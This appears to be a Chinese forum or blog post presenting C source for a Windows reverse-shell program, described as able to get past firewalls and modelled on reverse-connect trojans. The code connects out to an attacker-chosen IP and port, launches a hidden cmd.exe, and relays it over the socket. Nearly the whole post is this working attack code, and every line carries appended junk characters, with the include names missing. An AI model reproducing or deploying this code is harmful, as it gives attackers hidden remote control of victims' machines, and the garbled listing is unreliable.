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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Em[DHfu1Q  
"~TA SX_?  
/* ============================== ? ` SUQm  
Rebound port in Windows NT XMG]Wf^%\<  
By wind,2006/7 \uss Uv  
===============================*/ )M2F4[vcb  
#include ;Eu3[[V  
#include 54zlnM$  
zB yqD$  
#pragma comment(lib,"wsock32.lib") -i-?.:  
Z{'i F   
void OutputShell(); @F(mi1QO  
SOCKET sClient; X.`~>`8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !3T&4t  
x@8a''  
void main(int argc,char **argv) KZ~*Nz+H2  
{ R$zH]  
WSADATA stWsaData; f6$b s+oP  
int nRet; q -8t'7  
SOCKADDR_IN stSaiClient,stSaiServer; 3Hf0MAt  
iR"N13  
if(argc != 3) ;c$J=h]  
{ G:g69=x y  
printf("Useage:\n\rRebound DestIP DestPort\n"); O|_h_I-2  
return; C]Q8:6b  
} QeF3qXI  
FVh U^  
WSAStartup(MAKEWORD(2,2),&stWsaData); N&@}/wzZ  
gv5*!eI  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U*.0XNKp{  
}1IpON  
stSaiClient.sin_family = AF_INET; `({T]@]V  
stSaiClient.sin_port = htons(0); LR" 9D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); YuB+k^  
S*yjee<@  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) BT}&Y6  
{ eYx Kp!f  
printf("Bind Socket Failed!\n"); tBpC: SG  
return; -_$$Te  
} (5\N B0  
tDUwy^j  
stSaiServer.sin_family = AF_INET; O$4yAaD X  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >LDhU%bH  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?7{H|sI  
eF2|Wjl``;  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qW b+r  
{ =*Bl|;>6  
printf("Connect Error!"); /*0K92NB  
return; 7`u$  
} hpU2  
OutputShell(); 2;w*oop,O  
} 5h;+Ky!I  
~Jf{4*>y  
void OutputShell() k1Q ?'<`  
{ j&k6O1_  
char szBuff[1024]; 0Fu~%~#E$  
SECURITY_ATTRIBUTES stSecurityAttributes; 4>J   
OSVERSIONINFO stOsversionInfo; y+7PwBo%e  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; '(/7[tJ  
STARTUPINFO stStartupInfo; Nz)l<S9>  
char *szShell; ~g.$|^,.O/  
PROCESS_INFORMATION stProcessInformation; kBN+4Dr/$  
unsigned long lBytesRead; }V\N16f  
Jec'`,Y  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K #.  
l#n,Fg3  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); R4-~jgzx  
stSecurityAttributes.lpSecurityDescriptor = 0; tsk)zP,<  
stSecurityAttributes.bInheritHandle = TRUE; c*~]zR>s!  
13Lr }M&  
%iw3oh&Fkm  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 63A}TBC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }u1O#L}F5  
@e{^`\l=<  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^aW Z!gi  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t45Z@hmcW  
stStartupInfo.wShowWindow = SW_HIDE; 0 iJue &  
stStartupInfo.hStdInput = hReadPipe; |ZQ@fmvL/p  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X]'7Ov  
aM;W$1h  
GetVersionEx(&stOsversionInfo); %;D.vKoh  
7 x<i :x3  
switch(stOsversionInfo.dwPlatformId) jRatm.N  
{ LW(6$hpPp  
case 1: bcupo:N  
szShell = "command.com"; n93=8;&  
break; 8,uB8C9  
default: TjG4`:*y#m  
szShell = "cmd.exe"; aFLO{tr`  
break; ~ar=PmYV7  
} :<|<|qJWo  
` He,p -  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1x,tu}<u^  
+sJrllrE(  
send(sClient,szMsg,77,0); zen*PeIrA^  
while(1) +U@<\kIF  
{ ZzX~&95G  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D|.ic!w'  
if(lBytesRead) twx[ s$O'b  
{ & GreN  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dh $bfAb  
send(sClient,szBuff,lBytesRead,0); h?pkE  
} 3g6j?yYqb  
else ()H:UvM=t  
{ Km^&<3ch#  
lBytesRead=recv(sClient,szBuff,1024,0); ,\@O(; mF  
if(lBytesRead<=0) break; J4\qEO  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); h5K$mA5  
} CoA6  
} Y5j]Z^^v  
xL" |)A =  
return; s8h-,@p  
}
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